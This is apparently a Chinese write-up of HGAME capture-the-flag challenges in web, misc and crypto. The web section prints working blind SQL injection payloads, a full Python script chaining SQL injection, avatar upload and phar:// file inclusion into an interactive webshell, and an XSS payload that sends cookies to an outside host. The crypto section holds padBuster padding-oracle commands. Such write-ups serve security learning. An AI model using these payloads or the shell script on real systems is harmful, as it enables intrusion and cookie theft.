Contents
web
神奇的MD5 [200]
首先通过 /.login.php.swp
恢复出源码
<?php
session_start();
error_reporting(0);
if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
{
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$code = (string)$_POST['code'];
if (($username == $password ) or ($username == $code) or ($password == $code)) {
echo "Your input can't be the same";
}
else if ((md5($username) === md5($password)) and (md5($password) === md5($code))){
echo "Good";
header('Location: admin.php');
exit();
} else {
echo "<pre> Invalid password</pre>";
}
}
// ...[OMITTED]...
要求提交三个内容不同而 MD5 哈希值相同的字符串进行登录,由于对参数进行强制类型转换且使用全等进行判断,无法通过一般的数组参数、0e 开头 MD5 等方法绕过
只能通过 MD5 碰撞的方法,使用 upbit/clone-fastcoll 或 thereal1024/python-md5-collision 生成一些文件
选三个文件将其内容编码后用于登录,成功后跳转至 admin.php,是一个 webshell
通过 ls /
命令可以看到 /flag,但直接 cat /flag
会提示无法获取
发现在 admin.php 中对输入的命令有如下过滤:
$cmd = str_replace("flag",'none',$cmd);
执行 cat /fla?
即可读取 flag
Flag: hgame{a1c83b66cc504d583c09ea6c20c0dabc}
sqli-1 [150]
SQL 布尔盲注,payload 如:
?code={0}&id=1 and (ascii(substr((select f14444444g from f1l1l1l1g limit 0, 1), {1}, 1))) = {2}
Flag: hgame{sql1_1s_iNterest1ng}
sqli-2 [200]
SQL 延时盲注,payload 如:
?code={0}&id=1 and if((select ascii(substr((select fL4444Ag from F11111114G limit 0, 1), {1}, 1)) = {2}), sleep(3), 0)
Flag: hgame{sqli_1s_s0_s0_s0_s0_interesting}
基础渗透 [400]
一个包含以下功能的 web 应用:
- 用户注册、登录、上传头像、更改密码
- 留言查看、新建、删除
首先注册账号,登录后尝试一下各种功能,发现显示不同的页面是根据 /index.php?action=user
中的 action 参数来切换的,直接访问 user.php 可以返回一部分 HTML,猜测在 index.php 中是通过 require 或 include 相应的文件来显示不同的页面,存在本地文件包含漏洞
通过 php 伪协议逐渐读取源码(/index.php?action=php://filter/read=convert.base64-encode/resource=index
)
- login.php
- register.php
- index.php
- user.php
- message.php
- messages_api.php
- functions.php
- config.php
进行源码审计,在 functions.php
中可以找到一处注入点:
// ...[OMITTED]...
function delete_message($message_id)
{
$user_id = $_SESSION['user_id'];
if ($_POST['token'] === $_SESSION['token']) {
if ($_SESSION['groups'] == 0) {
$sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id";
} elseif ($_SESSION['groups'] == 1) {
$sql_query = "delete from `messages` where `message_id`=$message_id";
}
sql_query($sql_query);
}
}
// ...[OMITTED]...
这是删除留言的函数,可以进行延时盲注,payload 如 token={0}&message_id={1} and if((ascii(substr((select avatar from users where user_id=39), {2}, 1))={3}), sleep(3), 0)#
通过如上注入可以得到本用户头像的文件名(15位的随机字符串),文件为 ./img/avatar/*.png
;在管理页面(index.php?action=user
)可以上传新头像,相关实现:
// functions.php
// ...[OMITTED]...
function upload_avatar()
{
$type = $_FILES['file']['type'];
$user_id = $_SESSION['user_id'];
if ($type == 'image/gif' || $type == 'image/jpeg' || $type == 'image/png') {
$avatar = get_avatar($user_id);
if ($avatar == null) {
$name = rand_filename();
move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $name . ".png");
$sql_query = "update `users` set `avatar`='$name' WHERE `user_id`=$user_id";
sql_query($sql_query);
} else {
move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $avatar['name'] . ".png");
}
}
}
// ...[OMITTED]...
可以上传含有恶意代码的 php 文件来进行进一步渗透,而要使上传的头像(.png 文件)被解析为 php 执行,需要用到 index.php 中的本地文件包含漏洞(require $page .'.php';
)
由于强制在参数后添加 “.php”,而头像文件以 “.png” 结尾,可以将 php 文件添加至 zip 压缩包上传,然后通过 php 伪协议使其被包含(/index.php?action=phar://img/avatar/ed7c750dd0a5ed8.png/test
)
更多 php 伪协议的利用,请见此处
完整脚本如下:
import requests
import json
import re
import string
from time import time, sleep
import os
CHARS = string.ascii_lowercase + string.digits
tokenPattern = re.compile(r"<input\s{1}type='hidden'\s{1}value='([^']*)'\s{1}id='token'>")
outputPattern = re.compile(r'</ul>\n</div>([\s\S]*)<script\s{1}type')
baseUrl = 'http://[REDACTED]/'
urlForLogin = baseUrl + 'login.php'
urlForToken = baseUrl + 'index.php?action=user'
urlForAddMessage = baseUrl + 'messages_api.php?action=add'
urlForGetNewMessage = baseUrl + 'messages_api.php?action=get_new&start=1'
urlForInjection = baseUrl + 'messages_api.php?action=delete'
urlForUpload = baseUrl + 'change_info.php?action=uploadavatar'
urlForExec = baseUrl + 'index.php?action=phar://img/avatar/{0}.png/test'
payloadTemplate = "<?php\n$row = exec('{command}',$output,$error);\nwhile(list(,$row)=each($output)){\necho $row,'\\n';\n}\nif($error){\necho 'Error: $error\\n';\n}"
r = requests.Session()
response = r.get(urlForLogin)
token = tokenPattern.findall(response.text)[0]
response = r.post(urlForLogin, data={'username': 'ddmin', 'password': '1234567', 'token': token})
if os.path.exists('temp') == False:
os.system('mkdir temp')
if os.path.exists('temp/avatarFileName'):
with open('temp/avatarFileName', 'r') as f:
avatarFileName = f.readline()
else:
response = r.get(urlForToken)
token = tokenPattern.findall(response.text)[0]
response = r.post(urlForAddMessage, data={'new_message': 'this is a test', 'token': token})
response = r.get(urlForGetNewMessage)
message = json.loads(response.text)['content'][0]
messageId = message['message_id']
injectionResult = []
injectionPayloadTemplate = "{0} and if((ascii(substr((select `avatar` from `users` where `user_id`=39), {1}, 1))={2}), sleep(3), 0)#"
for i in range(1, 16):
for char in CHARS:
response = r.get(urlForToken)
token = tokenPattern.findall(response.text)[0]
payload = injectionPayloadTemplate.format(messageId, str(i), ord(char))
timeStart = time()
response = r.post(urlForInjection, data={'message_id': payload, 'token': token})
sec = time() - timeStart
print("Count: {0}, Delay: {1}".format(str(i), str(sec)))
sleep(0.1)
if sec > 2:
injectionResult.append(char)
break
avatarFileName = ''.join(injectionResult)
with open('temp/avatarFileName', 'w') as f:
f.write(avatarFileName)
urlForExec = urlForExec.format(avatarFileName)
while True:
command = input('$ ')
if command == 'exit':
exit(0)
payload = payloadTemplate.replace('{command}', command)
response = r.get(urlForToken)
token = tokenPattern.findall(response.text)[0]
with open('temp/test.php', 'w') as f:
f.write(payload)
os.system('rm -f temp/test.zip.png')
os.system('zip -j temp/test.zip.png temp/test.php')
response = r.post(urlForUpload, files={'file': ('test.zip.png', open('temp/test.zip.png', 'rb'), 'image/png')}, data={'token': token})
response = r.get(urlForExec)
output = outputPattern.findall(response.text)[0].replace('\\n', '\n')
print(output)
成功 getshell 后,可以通过 find / -name flag
找到 flag 文件 /usr/lib/flag/flag,由于权限设置,只有 flag 用户才能读取
查看目录可见存在另一个文件 get_flag
,执行返回提示,可以通过 “get_flag flag” 来读取 flag
Flag: hgame{e4616b38e22d1a22cedc53a90cfaa87f75ccbfe565399857a390950a58a94e68}
BabyXss [150]
简单的 XSS 题,payload 如下:
<scr<script>ipt src='https://cdn.bootcss.com/jquery/3.2.1/jquery.min.js'></scr<script>ipt>
<scr<script>ipt>$.get('http://[REDACTED]/?cookie=' + document.cookie);</scr<script>ipt>
打到 bot 的 cookie 即含有 flag
Flag: hgame{Xss_1s_funny!}
misc
时至今日,你仍然是我的光芒 [150]
题目给出一个 mp4,使用 DeEgger Embedder
提取出隐写的 jpg 文件,然后根据提示从 rockyou 字典中提取出 sec 开头的密码,进行 outguess
爆破,最后得到 flag
Flag: hgame{Whataya_Want_From_Me}
至少像那雪一样 [150]
首先用 binwalk 分析给出的 jpg 文件,可见包含 zip
$ binwalk origin.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
30 0x1E TIFF image data, big-endian, offset of first image directory: 8
885851 0xD845B Zip archive data, encrypted at least v2.0 to extract, compressed size: 75, uncompressed size: 240, name: flag.txt
886204 0xD85BC End of Zip archive
将 jpg 与 zip 分离,查看 zip 内容可见含有两个加密的文件,其中之一是大小和分离出的 jpg 相同的 “至少像那雪一样.jpg”,猜测需进行 zip 明文攻击
经过尝试后确定应使用 WinRAR 进行压缩(压缩后大小、 CRC32 值相同),将分离出的 jpg 改名后压缩,使用 ARCHPR 进行明文攻击
得到密钥为 [7ba938c7, b21e305a, bc2989df]
,将 flag.txt 解密,得到一个由空格(b'\x20')和制表符(b'\x09')组成的文件,将空格替换为 1,制表符替换为 0,然后转换为字符串即可得到 flag
Flag: hgame{At_Lea5t_L1ke_tHat_sn0w}
旧时记忆 [100]
IBM-029 Punch Card
Flag: hgame{0LD_DAY5%M3MORY}
听听音乐? [150]
音乐末尾有一段摩斯电码,解码可得 “FLAG:1T_JU5T_4_EASY_WAV”
Flag: hgame{1T_JU5T_4_EASY_WAV}
crypto
P4ndd!n@! [250]
CBC Padding Oracle 攻击,使用 padBuster
即可解出明文
$ perl padBuster.pl "http://[REDACTED]/padding?text=lpFsOPZm9UztVP30SHertuXoWkOEP4Ij7UcjGM1xvFIw78Ti15UwL9YY0xn4syBxW/2BgzRtsZHGksUmWgfr5Q==" "lpFsOPZm9UztVP30SHertuXoWkOEP4Ij7UcjGM1xvFIw78Ti15UwL9YY0xn4syBxW/2BgzRtsZHGksUmWgfr5Q==" 16 -encoding 0 -error "Something Error\!"
# ...[OMITTED]...
[+] Decrypted value (ASCII): If you R Aris, I will give you flag.
# ...[OMITTED]...
再加上 -plaintext 来得到 Aris
的密文
$ perl padBuster.pl "http://[REDACTED]/padding?text=lpFsOPZm9UztVP30SHertuXoWkOEP4Ij7UcjGM1xvFIw78Ti15UwL9YY0xn4syBxW/2BgzRtsZHGksUmWgfr5Q==" "lpFsOPZm9UztVP30SHertuXoWkOEP4Ij7UcjGM1xvFIw78Ti15UwL9YY0xn4syBxW/2BgzRtsZHGksUmWgfr5Q==" 16 -encoding 0 -error "Something Error\!" -plaintext "Aris"
# ...[OMITTED]...
[+] Encrypted value is: mZDzeEddTWDut6HJddGpxwAAAAAAAAAAAAAAAAAAAAA%3D
# ...[OMITTED]...
提交请求即可返回 flag
Flag: hgame{Now_U_know_0racle_pADding!@}
babyRSA [250]
简单的 RSA,通过如下脚本即可解出 flag
from fractions import gcd
import binascii
def exGCD(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = exGCD(b % a, a)
return (g, x - (b // a) * y, y)
def invMod(a, m):
g, x, y = exGCD(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def invalidPubExponent(c, p, q, e):
totientN = (p-1)*(q-1)
n = p*q
GCD = gcd(e, totientN)
if(GCD == 1):
return "[X] This method only applies for invalid Public Exponents."
d = invMod(e//GCD,totientN)
c = pow(c,d,n)
import sympy
plaintext = sympy.root(c,GCD)
return plaintext
e = 12
p = 58380004430307803367806996460773123603790305789098384488952056206615768274527
q = 81859526975720060649380098193671612801200505029127076539457680155487669622867
c = 206087215323690202467878926681944491769659156726458690815919286163630886447291570510196171585626143608988384615185921752409380788006476576337410136447460
plaintext = invalidPubExponent(c, p, q, e)
print(binascii.a2b_hex('%x' % plaintext))
Flag: hgame{xxxxxxx}
basicmath [150]
二次剩余求解,通过 WolframAlpha 即可解出 m 的值
Flag: hgame{easy_Crypto!}
0 Comments